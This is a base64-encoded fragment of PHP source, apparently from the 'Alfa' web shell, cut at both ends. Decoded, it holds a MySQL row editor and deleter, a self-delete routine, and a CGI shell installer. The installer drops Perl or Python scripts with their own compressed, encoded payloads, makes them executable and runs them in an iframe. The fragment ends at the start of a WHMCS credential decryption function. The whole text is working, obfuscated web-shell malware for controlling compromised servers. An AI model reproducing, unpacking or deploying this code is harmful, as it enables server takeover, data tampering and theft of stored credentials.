8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+IGZhbHNlLCAiZXJyb3IiID0+IEBteXNxbGlfZXJyb3IoJGNvbm4pLCAicXVlcnkiID0+ICRxdWVyeSkpOwoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJCSRjb2xfa2V5ID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNFTEVDVCBDT0xVTU5fTkFNRSBGUk9NIElORk9STUFUSU9OX1NDSEVNQS5DT0xVTU5TIFdIRVJFIFRBQkxFX1NDSEVNQSA9ICciLkBhZGRzbGFzaGVzKCRkYlsiZGIiXSkuIicgQU5EIFRBQkxFX05BTUUgPSAnIi5AYWRkc2xhc2hlcygkZGJbInRhYmxlIl0pLiInIEFORCBDT0xVTU5fS0VZID0gJ1BSSSciKTsKCQkJaWYoJGNvbF9rZXkpewoJCQkJJGNvbF9rZXkgPSBAbXlzcWxpX2ZldGNoX3JvdygkY29sX2tleSk7CgkJCQkkY29sX2tleSA9ICRjb2xfa2V5WzBdOwoJCQkJaWYoIWVtcHR5KCRjb2xfa2V5KSl7CgkJCQkJJHRibF9jb250ZW50ID0gJzxkaXYgc3R5bGU9Im1hcmdpbi1ib3R0b206NXB4O21hcmdpbi10b3A6NXB4OyI+PGJ1dHRvbiBjb2xfa2V5PSInLiRjb2xfa2V5LiciIHRibF9uYW1lPSInLiRkYlsidGFibGUiXS4nIiBkYl9pZD0iJy4kZGJbImRiX2lkIl0uJyIgCWRiX3RhcmdldD0iJy4kZGJbImRiIl0uJyIgb25jbGljaz0iYWxmYU15c3FsRGVsZXRlQWxsU2VsZWN0ZWRyb3dzKHRoaXMpO3JldHVybiBmYWxzZTsiPkRlbGV0ZSBTZWxlY3RlZCBSb3dzPC9idXR0b24+PC9kaXY+PHRhYmxlIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMSIgY2VsbHBhZGRpbmc9IjIiIGNsYXNzPSJtYWluIG15c3FsLWRhdGEtdGJsIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMjkyOTI5Ij4nOwoJCQkJfQoJCQl9ZWxzZXsKCQkJCSRjb2xfa2V5ID0gZmFsc2U7CgkJCX0KCQkJd2hpbGUoJGl0ZW0gPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCRxX3RhYmxlcykpewoJCQkJaWYoISR0aXRsZSl7CgkJCQkJJHRibF9jb250ZW50IC49ICc8dHIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzMwNWI4ZTsiPic7CgkJCQkJaWYoJGNvbF9rZXkpewoJCQkJCQkkdGJsX2NvbnRlbnQgLj0gJzx0aCBzdHlsZT0id2lkdGg6IDU1cHg7dGV4dC1hbGlnbjpjZW50ZXI7Ij48aW5wdXQgZGJfaWQ9IicuJGRiWyJkYl9pZCJdLiciIG9uY2hhbmdlPSJhbGZhTXlzcWxUYmxTZWxlY3RBbGwodGhpcyk7IiB0eXBlPSJjaGVja2JveCI+PC90aD48dGggc3R5bGU9IndpZHRoOiA1NXB4O3RleHQtYWxpZ246Y2VudGVyOyI+RWRpdDwvdGg+PHRoIHN0eWxlPSJ3aWR0aDogNTVweDt0ZXh0LWFsaWduOmNlbnRlcjsiPkRlbGV0ZTwvdGg+JzsKCQkJCQl9CgkJCQkJZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSl7CgkJCQkJCSR0YmxfY29udGVudCAuPSAnPHRoPicuJGtleS4nPC90aD4nOwoJCQkJCX0KCQkJCQlyZXNldCgkaXRlbSk7CgkJCQkJJHRpdGxlPXRydWU7CgkJCQkJJHRibF9jb250ZW50IC49ICc8L3RyPjx0cj4nOwoJCQkJfQoKCQkJCWlmKCRjb2xfa2V5KXsKCQkJCQkkY2FjaGVNc2cgPSAnPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxpbnB1dCByb3dfaWQ9IicuJGxpbmUuJyIgdHlwZT0iY2hlY2tib3giIG5hbWU9InRibF9yb3dzX2NoZWNrYm94W10iIHZhbHVlPSInLiRpdGVtWyRjb2xfa2V5XS4nIj48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48YSBjbGFzcz0iZGItb3B0LWlkIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBkYl9pZD0iJy4kZGJbImRiX2lkIl0uJyIgZGJfdGFyZ2V0PSInLiRkYlsiZGIiXS4nIiB0YmxfbmFtZT0iJy4kZGJbInRhYmxlIl0uJyIgY29sX2tleT0iJy4kY29sX2tleS4nIiBrZXk9IicuJGl0ZW1bJGNvbF9rZXldLiciIG9uY2xpY2s9ImFsZmFNeXNxbEVkaXRSb3codGhpcywgXCdlZGl0XCcpOyIgc3R5bGU9ImNvbG9yOiMwYWNhYTY7Ij5FZGl0PC9hPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxhIGNsYXNzPSJkYi1vcHQtaWQiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIGRiX2lkPSInLiRkYlsiZGJfaWQiXS4nIiBkYl90YXJnZXQ9IicuJGRiWyJkYiJdLiciIHRibF9uYW1lPSInLiRkYlsidGFibGUiXS4nIiBjb2xfa2V5PSInLiRjb2xfa2V5LiciIGtleT0iJy4kaXRlbVskY29sX2tleV0uJyIgcm93X2lkPSInLiRsaW5lLiciIG9uY2xpY2s9ImFsZmFNeXNxbEVkaXRSb3codGhpcywgXCdkZWxldGVcJyk7IiBzdHlsZT0iY29sb3I6I2ZmMWUxZTsiPkRlbGV0ZTwvYT48L3RkPic7CgkJCQl9CgkJCQkkdGJsX2NvbnRlbnQgLj0gJzx0ciBjbGFzcz0idGJsX3JvdyB0Ymxfcm93X2wnLiRsaW5lLiciPicuJGNhY2hlTXNnOwoJCQkJJGxpbmUrKzsKCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpewoJCQkJCWlmKCR2YWx1ZSA9PSBudWxsKXsKCQkJCQkJJHRibF9jb250ZW50IC49ICc8dGQ+PGk+bnVsbDwvaT48L3RkPic7CgkJCQkJfWVsc2V7CgkJCQkJCSR0YmxfY29udGVudCAuPSAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4nPC90ZD4nOwoJCQkJfQoJCQkJfQoJCQkJJHRibF9jb250ZW50IC49ICc8L3RyPic7CgkJCX0KCQkJJHRibF9jb250ZW50IC49ICc8L3RhYmxlPic7CgkJCWlmKCEkdGl0bGUpewoJCQkJJHRibF9jb250ZW50ID0gIjxkaXYgc3R5bGU9J3BhZGRpbmc6NXB4O2JvcmRlcjoxcHggZGFzaGVkO21hcmdpbjoxMHB4Oyc+VGFibGUgaXMgZW1wdHkuLi48L2Rpdj4iOwoJCQl9CgkJCWVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+IHRydWUsICJ0YWJsZSIgPT4gJHRibF9jb250ZW50LCAiY29sdW1ucyIgPT4gJGNvbHVtbnMsICJwYWdlcyIgPT4gJHBhZ2VzLCAicXVlcnkiID0+ICRxdWVyeSkpOwoJCX0KCQlAbXlzcWxpX2Nsb3NlKCRjb25uKTsKCX0KfQpmdW5jdGlvbiBhbGZhc2VsZnJtKCl7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkmJiRfUE9TVFsnYWxmYTEnXT09J3llcycpewplY2hvKF9fcHJlKCkuJzxjZW50ZXI+Jyk7CmlmKEB1bmxpbmsoJEdMT0JBTFNbJ19fZmlsZV9wYXRoJ10pKXsKZWNobygnPGI+U2hlbGwgaGFzIGJlZW4gcmVtb3ZlZDwvaT4gOik8L2I+Jyk7Cn1lbHNlewplY2hvICd1bmxpbmsgZXJyb3IhJzsKfQplY2hvKCc8L2NlbnRlcj4nKTsKfQppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pJiYkX1BPU1RbJ2FsZmExJ10hPSd5ZXMnKXsKZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+IjsKZWNobyAiCjxjZW50ZXI+PHA+PGltZyBzcmM9XCJodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9mYXJ2YWhhci1pcmFuLnBuZ1wiPjwvcD4iOwplY2hvICc8cD48ZGl2IGNsYXNzPSJ0eHRmb250Ij5EbyB5b3Ugd2FudCB0byBkZXN0cm95IG1lPyE8L2Rpdj48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2VsZnJtXCcsbnVsbCxcJ3llc1wnKTsiPiBZZXM8L2E+JzsKZWNobyAnPC9wPjwvY2VudGVyPjwvZGl2Pic7Cn0KfQpmdW5jdGlvbiBhbGZhY2dpc2hlbGwoKXsKYWxmYWhlYWQoKTsKJGRpdiA9ICIiOwphbGZhQ3JlYXRlUGFyZW50Rm9sZGVyKCk7CkBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fQUxGQV9EQVRBX0ZPTERFUl9fKTsKaWYoIWluX2FycmF5KCRfUE9TVFsnYWxmYTEnXSxhcnJheSgncGVybCcsJ3B5JykpKXsKJGRpdiA9ICI8L2Rpdj4iOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IENHSSBTaGVsbCB8PC9kaXY+PC9wPjxoMz48YSBjbGFzcz0icmVqZWN0bWUiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKSIgb25jbGljaz0icnVuY2dpKFwncGVybFwnKSI+fCBQZXJsIHwgPC9hPjxhIGNsYXNzPSJyZWplY3RtZSIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApIiBvbmNsaWNrPSJydW5jZ2koXCdweVwnKTsiPnwgUHl0aG9uIHwgPC9hPic7Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddKSYmaW5fYXJyYXkoJF9QT1NUWydhbGZhMSddLGFycmF5KCdwZXJsJywncHknKSkpewpAbWtkaXIoJ2NnaWFsZmEnLDA3NTUpOwpAY2hkaXIoJ2NnaWFsZmEnKTsKYWxmYWNnaWh0YWNjZXNzKCdjZ2knKTsKJG5hbWUgPSAkX1BPU1RbJ2FsZmExJ10uJy5hbGZhJzsKJHBlcmwgPSAnIyEvdXNyL2Jpbi9wZXJsICAgLUkvdXNyL2xvY2FsL2JhbmRtaW4nLiJcbiIuJ3VzZSBNSU1FOjpCYXNlNjQ7dXNlIENvbXByZXNzOjpabGliO2V2YWwoQ29tcHJlc3M6OlpsaWI6Om1lbUd1bnppcChkZWNvZGVfYmFzZTY0KCJINHNJQUFBQUFBQUEvNlVaRFhmVFJ2S3ZMQnRoU1JCYnRrdGF6ckpjUXVKQTNpVWhseGp1OWFKZ1pHbHQ3ME9XVkgyUXBNYjk3VGV6dTdLa0VLQzB5VU9SWnVkN1ptZG1seUpqNVBUNGREd1l2UFF5OXZNenV3REFFUStaQkVUZWlnblF3VTFBZEcrV1RSTXZYK3EyNWkvNE5PQXBjUWc4RWNzb0Z3MnRhNXEyOWw4ZW5VMWd1V3RyWjVPRFZYREpFdmlpTFdwcmJ5TitXMEZzZ0J6RXE1VVhCUk8rWW5HUkh4YXBsL000Z3RVZWtGOHU0NXZETzVEQi9UZEZuaFE1d20wTnRCS0M0V3ZCOGpCZThJaDgvb3p2eVUzQkEwTWJtdmhOdlhEdW9ZaFNvS0ZVKzVWVWlnMUlUU2xUSUorRHdYVms2Z2NVOEdoeUUxREFPQWRMNy9PanJpdFFMRVM0WU9BWTV1ZHgyc1FoL1ZHclIzcWpWbC9nNGx0UHdJQW9LMmJrZ25uQnVaZUN5OWRoN0hzaE1aN3d5QVFlTDZhRXorRnBLN0RHZDRrRzcvRDh5TzdnK2NrTFFlNXBFZVk4OGRMOEtFNVhoMTd1QWFrMlBudTMxZy9lbkUzR1o1UHA1TGZ6c2I0aHpwL0VXcFhJcmpVSDlIWUErRGFaeFVVVWVPbWRZM1NlbXBwbDg3a2hPVnlNLy9OMmZEbVpubzRucjk4Y0FnLzJPNkd2eGhOcXJqVWViUVVCMHNWdjA4dkp4ZkhaSzMxamIxaVlmWnZGK1p0TDVKR0M2Y2JsNVBENERLemgwZTQ5dlUvR1o2OG1yL1dOYVcrMjdQNnVUYUR3U3dVQnRmVjJXKzlvUGZ0RnlEUE1yaXdKZVc1WVd4Ukw2QVBPZlEwYXN2UmxIQ0NWaHRoWHZlc21HRFJ3VXpmQ2Y1L2hUMlNWeTBqeHdkWktZcjE4L1pOa2drS3pBSlZIYTMwT3V3K1ZSbnVJUUtwWUFIZGN4cngzWElxMnVMUWtrL2k5MnBkZ1RTMXJjUitXSVF5OEEwbms5RzFsaWNhdjRaVS9mUXJPS1FFUy8zM25xWkFvVkt3dkFYZkR2VkZLUUJZcUJTQVRsWW5pRFZrWTc0MkdXMHp6c3dCbzhLV1pRc1V0N21PajB6R3R4UE0vR3RTbnUyVEpiZzJ0WjVyV2dnbERVSkt3RlNqc0RhWVhXNzhRK2FjQzF5b0RCaVl5ejEvQ0J6RzZwTk1oMmc2QU1Wa3I0OXluRmdIeFJtMFhWWndjeVFteGQwbmZWRVorVjhrZk5LVURaZER0VXR6ZlJzRG1QR0pRdnNwVkxLWjFUR1gxQm92RjJ5U012UURMOWRwZnhvbWhUYndVQ3VBWkJNc1UzR29BZE5oQmthWXN5Zzk1YXFKK0srdktkVjNyR3ZhNE5rbTlLSnV6RkptSnRVZkcxWHZydmV0ZVB6RzFSM2FkRVNxaDZoL3VHcldFaEpmOEQ1VERvOXlBSkYxZ00yaG10RWtzcU9uOVp5WVdsVGhoa2ZIMi9PVE4vdUhSOGNsNGw5QlJUUXcxemZXTVI2czRZRFVrWVphc3BuYVNnaUJTclpGN3dtdy9qTE1Hc1NLaHBiRXNJUGUxLy9mTGpodFJoYWhQbG93Z1EwTDF6a3oxdzRhWE96b2xOMTVHQ2hFSjRKY1Z2cyt5YkY2RTRWMUhsOG1wcEI1NXFCcjBta2ZVbHZFN3h3VVVyUUlKOVlxc05TeGJXSldHUHNTS3BhT2hBTVFSVUt4NDd0Qjh5Yk9PL09nRVBQTm13TlhKMDRMWllpWG9RSVlVekpubHNXY1VFY3Q4TDJFR2kzenc1TnVMWStpMVNSd0JaNk9PYlVLYVVRSkkrVjNDSExvdG9sVU5wV1RGOG1VY09MSmNFOC9ISHUyQVk3UkxQK1ZKZmdKOUNVSGdrdEV3OUdZc0pFRHNVT1dhRktCWjRrV0VBNHZwZEk2dUxCSUFXZ2dka1dHV3AzRzBHTFdpV1piWThubXdqQ0dDeEJNeEFFU0pNYlFFOTlHUVJ6Z05aUGxkQ0NxREo1TFF1eHRFWUJ5WWdsSzJrc0Y1L3RLTEZvZ1crOFVLck85QUJNY2h3OWVYZDhlQjRlcGJuVnpkN1BBb1l1bnJ5ZW1KSTd5RThyT3I3blZIREVTVVNDOGhsQkpSR3VtY2tnenl4NkUvN2RGU003a2lJMVhTbEY4eVJrckZMWVhFV2ZJZ1lGSEpPZGdpZzZ1ckhTemMvSFVxNzBzUklwYndSNldWTGhyN0ZLd1NUVGhsZVpGR29nM2pDeEZwYU5jVFdFR3F6RDMzRmt4MnByVTJGdmtWVlBvMTY0MzlFSUpvREZmdnZmWWYrKzMvZGR2L3VqWXQvYkhlS1NKWk1GOC9vYnRRTEMyMktQZnRRUXlhUjNrYkRSNlFuTjNtMWpKZmhkaFF0bHQyaUpEUmNBbDZqWVk1ejBNMk9rREJaSFpIOWsrTzlzbUU3WitTTmpsNGRVek9XUm9PTFlrMEZIazBlcktHQ1RTRUVpd1RhYk96VFl2MUhQeVlEMGpLRjh2Y2pqK3hGQUEzQStsMjI0L0RPQjNzOVBmbTgyN1h2dUZCdmh6MG5uV1RXN3RNVENpTHlMYzlnNkh0bzQzS3Q3ZE1DQXREbm1ROHMyK1dQR2R0MkJJK1dCakZONm1YMkJ1Ujcrc1ZsQjBldFlYOEFaUlI0QTMwT1lkeHNPMkZmQkVOeUFxVUNaazlpMU1JQ3VBa3R5U0xReDRRS0hYMkRMeTZTSEdtQWQ5aEJZUU5EdDRFN050MnR2UUMxS01MdjgrQWFxYzcvcW43YkY5eGFxZGV3SXRzZ0V2S050TGZRd1YreEF5L1NEUHdFVWxpamduNEZjZElZNG5jNit1NnptaURpa0hJNW5tcFNFOTRZaU8yd3BYWUNuS1BYYStWd0ZKZW5aY0k3c051a3BFa2NZb0Y0eUVIYkhiOFZiRCtXOXhLMy8yQ0tqOFF6d2VrSlY0UThHalJWazdLY3FqS0E3TDM1UXBEVFJDK3dhQkFhRDNZeWxpVGxINk52SzVwWDFPK0ZGelRwVzdQenBINEtRVVBlajhEbWtyOHZlZiszdDd6TXZHNzNjZlZEdkdLUExZM1dMNXhndzB0dVRWbk9QM0dFZGFtYjFWbGNEWFc0emtnWkFiMnFObENTSFRvVGxmOFFHR05FK2xLaDhJWHBrYnRVNzRLdFdyZlM0Wk9Gd0IwRmpDVHBrR1ZySm91VkJNbENnSkpSMWRrT0t0S0NYaUVrY3dMU0F2Uzl4UFBPSFJoOHFjQXE2OFhpeFUwL0k0ZnI0YldiRVN1c2Y1R2VWVi9oemwyYmlMZDdOQWVEQkpTUy9RZUpUN3NKZHcvNEdpaEozNHJ4enUwRDRybXlDSm9FQ210NTdEckhQcU9wWUVYZVdWZlFoSlFvMkhYVHI4Lzd2ZWZpNVhMU25OeXNPQ3FOczVHU20wQ3RUZUM4eXhZbjhjRW16NUxJY0E0QkhWMGlaY0grTURHMG13UlIzRU05cFpUa05KN1JEdXRCOFlmWTl1SE9yVGlDQS8wRmZ6RnJNRVV3aHBQYTNMVURjSUpKUGd4RmdMa3RkYk9VeGgyOEVSWG5iOXJQV2xFeEJFYzRpcm1FamxINkNxZnV6LzlBaTYxZGRCemU5V0FLb2xoNWNYM0tHck9vZFdBOHlWTmZ6Wm52VDJncWFsVjRsKzdHcUYyTlEyaU0yWS9QQTNLbGVXOUplajhqVldZbGh4WFg4Sk9XemRtU0ZlSFNLdTdubzd1Nmh1eDZ2L1FoT2xYRStZL25VKzNvOWFQaktKL2E3SUNnRXdlU080NkE2d1dKYmt2cDB5b1VOdlpyL3NYWnpKZnB1czk3SEkyYk02TmltUTBvbzNaV0Q2L1M3K1VTa1ppQmc2NS85R2hFSHcvanVZY2RwdXI3NmVNM01VRm5Gdmc1VmRJQUpVQlFDUVNRazZBUkEyRmN3OCs3SzFPcjJNNHAxV0RKV1RvUHhvcW05ZUFhK0QwU0c1Y2MrMkZIcWpiTmF0SlVLQVNkdXN6aGlWNTVkM3lWYkVpT1JDVEdNNklYN2xUekJqWUhoaVpXWjdCeHJmTUwzSldNbHh2V3Rzck9QdGVPbTF2dUM0UExvN1BKOU96L2RNeEhETnJ1NzNDR0YrOEcxOXNNWnFuYTFKZXg5aWFUTjBTaElkVzdhS0lTbVVjRWpEY0Z0T1p1SnlWcDJrZnI4QzB4cUQ5QUZhQVdQSlNvSUg2UVYxdWZzQ1RkR01ONDBYRndieWhBbDRUdkhlekozN2daay94eGdrdnoyQ3dnQk9pdk83NUxvRjluMExHdjNsRnFpNW9PeldvdmRIZWhNRURSNG5LUGRRUGlGdXY2UzZGNnF0WTRhS1NXd0dWK1Y5eGpXVDh3YlEzclhzbkhMeS93WHZmdjlSUnRoM0RmVkZQamhxbUxPNzNXdUl3NEovS0JxR0dRNXhtQm4wY3gvU1JHRCtrNVlPSHVvbWFNVVVEcWdLeWJVQ3lTWU9JMFRENXRxakdZRm9LTDRkS2tzWTNtYVAzdXpySkVwaEovQ1dEb3FLTHlnQ2lSVHFvck1hTVVxZFBjOTJxTHF2S0JQaUxjYXdiVTArUGVuM1FMbzlmcmZYOWs0dFRjUTNxdHByYjM1YjE0eXRGUWQwb2YvRWZEY0QyczlPcjhnM3Y2Y2huYW91TEt3V1VtTHZiZW1QaTBTZGt4ckN4UGdKV1UzWGd4UnZRMUkxTXZFMVZDYUJOOFFDN0FXbmRSbkdzTWxKbytHVTEzR3pLRkxMSytKUXh0cExhU0VidDFsZkhKTHQxYjFLei93OHdibFMrRlJvQUFBPT0iKSkpOyc7OwokcHkgPSAnIyEvdXNyL2Jpbi9weXRob24nLiJcbmltcG9ydCB6bGliLCBiYXNlNjRcbiIuJ2V2YWwoY29tcGlsZSh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZSgiZUp5bEY5dHkyemIyMmZvS0RMeGJVcXVyRlR2TjZOYTZYcWYxYk5ObUVyY3Z0a2NERXFDSUNRbHdRZEMyNnZGKys1NERrQkxWYU9PMmE4L1lCTTc5Zm1ETlp0bzVrbm1oalNYeFd0cG81djhOaFdKUkpzSnVSenpHb3JDQVZiQ3k3TlNvNWFic0ExNWZsLzIxc0FqcFI2d1VyMC83bGNreUdYVVNvM05pWlM1SVEyRk5ndWVHZ3pVc0ZoR0xQM25VajlaSXRiNzZ1VUZ2empXakJya0JGd0MxSzFDdEl4T2lTOUQyWGhxdGhpa3JWNS9FSnFRZkx6NWN2YjllL1hUKzdwSjJRZmt5TnJLd2lvRkNpeGJCelI3aVhVZGtwZmc5TnFVZExoTENzb1JkNUR5TWtkMVJuTXFNcjByTHBlcVQ3VUZYMXJNdmRDSFVCSEQzVVlkeHBrdDA2dEdSRVdXVklYYWJlR2dFNCtFZUVkNjJxV3hsRlBIRW5VU2JIRG1zNWZDdEZCbi9hTFZoYThTTWN3NEFoQThoUHZjc3EwUVl4RUczdzZYNUhNQUJBSDRFSWpETmsvb3dEaXYxNzBwYkVmcmdEcVBYcDF6RW1vc1FzTHFPQ0JnQ2tXZjdFaEZnZFZ1Uy9NZk5lUHJxaml3V0pJZzVDZEMzeXF2Z3pxU0hFdUJ2TU1OdmhPQjM4Y0FEd0x5b2pCSEsvdE5KYndLRTVGM3daSkZCMG9UQnJRcjZnVGRRYWV1NE1RV2NkN1NCQTBoRk1oMnpyQXd4d0FjNUJ5ajJBT3M2YTBEQ0MxejMyWUlxSFlqZHlqc1BzNGJaZE1paUV2K0hkRWk3bmZlUS9RVm1TWEJENW5Ddm9JNDJtVmpRV0dmYVRJL0hyNzQrR1k5bmRCbjA2anJFc0ZhbE1HRzNGOHhIU0xMODlnWEt2WEs0L1BEcjVZZTZITFljRHNxZVJJazRPWE1jZG1idFNPNytGcURQVnlzc285WEtSWGkxeXBsVXF4V0cyWlV3b1JkYVdTQWQyRTBocHNTS1J6dEtiWjdkbWx0Rkc2UmdqbGZMZVFyVnNaeGJhVE94dklDRTRpVGFrUE1mMzU2VGEzSCtqZ3pJeGZkWDVQM0dwbHJOUng1dG5ndkxvTWFZS1lWZDBGK3UzdzdlME9YY1diTDh4eE5VVnlhVm1DcXR4T3o1ZUxWS1VOdXFlRW95emV5VUdMbE83VXpmQ3dNWEQxT1NTczZGbW5rUGtPUEpXWktBRXg4a3QrbVVuSnlPaThjWmx5V2t4MllLb1VmV2d3amkvMm1HaGcxMmZBUVVTbEhLY3ZhUVNpc0c0TEVZckZmNndiQmk5cHl4U0dSUE9UTnJxUVpPQldDT3ZJSGVTc2ltQWN2a1drMUpEdXBrWWhacHd3WG9jMUk4a2xKbmtrT0Q0RFBzbDJ1aks4V24yRUFWQ01FZ0FmYmpvRXdaUnozRzhIc0tWTWZqeTFmajAvT2EwOEF3THF0eWlxREd1TWtaS3ZCbnpJZ3JVNktYQ2cweEZPWi9PTVliaStOQnEvVlRXMmUwb1E1REpoSzc5Ykx6eExOVVJXVnZNR3NXWlJYbDB0NDkxUUliZVcxZUxyNkgzVlRIRWpxbldvdEREbmcraG9ieTlKZTROYjc3R2xVK0VNOEQwZ3JHWVZDc0I3V1RTc3NNWUo5OURoR29DZDQvWTFBZ3RPd0p4b0w4VGRUNjdhVjJTL3VXOG8zZ2xpNXRlNDdmdXA5RzhQVGtOYURWeFgvMkpqNDdlMU1iQ0kzazc3c2lZWlhWczJkb0E2N0c1aU5mdFpIbUc2SVZ4Sk12S05keGxVTXVZck82ekFSK2ZyZTU0dUZ0QUs2K2hSYWJBQUswekJrbDBkcEpYTkRqc2Z1aHhPckN1M0pCNFlTcDBUcjZUNmRXNjV3S2RMcTdRR2NCTTI4YWRJSllZTElzNXduMElWS0xna0RTSlRUY2FOZGx3Q09DbEl5VHJ5Qjk3MlVwWVRraS8zSFg5ZW5iTmZTMmJCanJmRDZLb1AzTlI4Z1M3RzhrV0Z5b2lIZnpncDVRVW11SjNxTWtobHJDK2dGSE96M3hYRHQrUVNlZ3FFVVcvSUEvMm14cU94S293d1g5VlJqT0ZLTUVzOEl6QWNYMkxEMmVUQzRua3pjTzhuRm5DN2xZeTIwampaYTFLUVI2dFJLeEJZOVlUVjZZRzBobE9mNHhqZTdMb0puNVJKYmtKOGhEdDBtNVlVOWJ6WjdMKzJiVTFEV0RRWjVPTUV1ZHBoYzZ6M0dHVHcvTnBicjBZQ3oxVVZTZk5CUEo2d1RNbC9OaStVVWhlNVhhaUcycWpCajlVSUkzd2ZObEFVR0tVeEYvV3RBRVpyeWd0WWxCSWpNUjRQREhUUXV0dEc3UlBqcENRSUs3V3IyRjNYalVPNFRWR3dxRVFFSFpLOWd3dHRoOWtzblN1aFhpaUpBMms1dnQ0YTdqQkdqajROQ1BjNmRBQTNhMEtLT0JEdkVEeDUySEVPQ3JXbnNJYm04SURUL0Q3Mjd4cXl4YjRTMlF0VFliV05CR3VLd2xxa0hFYlRqY1lrTklIaUlvOGdjRGJQZloxd3Z3VGdMY1lmYUNBTWlORUhRRHo5Z2RxeTZjVjRnd09obFBUcmRrOVc1eGpWTXZFVkRPaFBaZ3dvUU51MjZQa245OU42VDcrTUYxS3B4RVFvTmVvbm9CMUJZclNWVmcwd0llWlJYSG9peFIrR2FJNjZkL0dwRkw5MDlxZUFrSVk1dzNQVU00ZFk3cTVYQ2JBUjYwWFNuckpYZmZmYzJ1Mnowc3hQUEI1OWkyWmtaTmVqWXBQaW9PRk9BOGNwME9YZzFhK2FtNW9EYVY0RlYzR01LSXhpYkZGOVpVWXRhQ3BMOER5U1RjZzBxK1dOd0dLYlR1SjNmUGgrNXBBWGRCcjE1eGU4RnQ4T3lBY1EyTXJHWmhwVVFaczBLRVF1RWI0WmNQVjFEZEJmUUdDSGNidTl2dHp2WlkvekZxdnFPbUJKTVhLaFdtZ29EV0JuUG8vYzhmcnlsaE1mcDFBVUhmdmZzZytNdTUyekdJMnpHbzMvd2FIcHdTcndYZFgzNXhHZlk3ZXk4Z2UvUVlIMHJBVHhUaTJyQ0pLZG1YNHYzWmdKdVQ3OSt2eGx1aHl5VmRmcVhnb1RCci8zMlJVK29WQUN1MGlqT0piUXNDR1d1VlNKUEQ4RDAzZ214MEJZa09IOTlBTU90b0FwRUw3dXdaazVuVWoxRFg4V1piblg3UU9mUS9IQlVteHphNHk4eERTYmdidTM4bUdmK1AyQU9TZDB3T0wyY0pxN0IxbWc0NHMrd1BKNFRmVlJPY25IVlhNUGlZd0JtRWp0MCtIOUFQemNQSkxiWjcwYnBJTmJ6bkNYTzlCdmNraHpFZk9lNU5QdFN6cVZtYTNkYm13N2VWakZGTWNkaDlhYUhhNm9ScmxZVDViWDY0ZnZmandqbkl0Y09iOGQwUU1ZQzdkeERlYm12RmZkZjVkN1l0aWYzMDNFKzRPaDI4bG4reGlMNUF4RDZYNEZOdXQyanRNbTdrZGk2Yy9MQjk0aXFLejhqZ3YxMU5WWm89IikpLFwnPHN0cmluZz5cJyxcJ2V4ZWNcJykpJzsKaWYoJF9QT1NUWydhbGZhMSddPT0ncGVybCcpeyRjb2RlID0gJHBlcmw7fWVsc2V7JGNvZGUgPSAkcHk7fQppZihfX3dyaXRlX2ZpbGUoJG5hbWUsJGNvZGUpKXsKQGNobW9kKCRuYW1lLDA3NTUpOwplY2hvICc8aWZyYW1lIHNyYz0iJy5fX0FMRkFfREFUQV9GT0xERVJfXy4nL2NnaWFsZmEvJy4kbmFtZS4nIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSI2MDBweCIgZnJhbWVib3JkZXI9IjAiIHN0eWxlPSJvcGFjaXR5OjAuOTtmaWx0ZXI6IGFscGhhKG9wYWNpdHk9OSk7b3ZlcmZsb3c6YXV0bzsiPjwvaWZyYW1lPic7Cn0KfQplY2hvICRkaXY7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhV2htY3MoKXsKYWxmYWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKZnVuY3Rpb24gZGVjcnlwdCgkc3RyaW5nLCRjY19lbmNyeXB0aW9uX2hhc2gpewoka2V5ID0gbWQ1IChtZDUgKCRjY19lbmNyeXB0aW9uX2hhc2gpKSAuIG1kNSAoJGNjX2VuY3J5cHRpb25faGFzaCk7CiRoYXNoX2tleSA9IF9oYXNoKCRrZXkpOwokaGFzaF9sZW5ndGggPSBzdHJsZW4gKCRoYXNoX2tleSk7CiRzdHJpbmcgPSBfX1pHVmpiMlJsY2coJHN0cmluZyk7CiR0bXBfaXYgPSBzdWJzdHIgKCRzdHJpbmcsIDAsICRoYXNoX2xlbmd0aCk7CiRzdHJpbmcgPSBzdWJzdHIgKCRzdHJpbmcsICRoYXNoX2xlbmd0aCwgc3RybGVuICgkc3RyaW5nKSAtICRoYXNoX2xlbmd0aCk7CiRpdiA9ICRvdXQgPSAnJzsKJGMgPSAwOwp3aGlsZSAoJGMgPCAkaGFzaF9sZW5ndGgpCnsKJGl2IC49IGNociAob3JkICgkdG1wX2l2WyRjXSkgXiBvcmQgKCRoYXNoX2tleVskY10pKTsKKyskYzsKfQoka2V5ID0gJGl2OwokYyA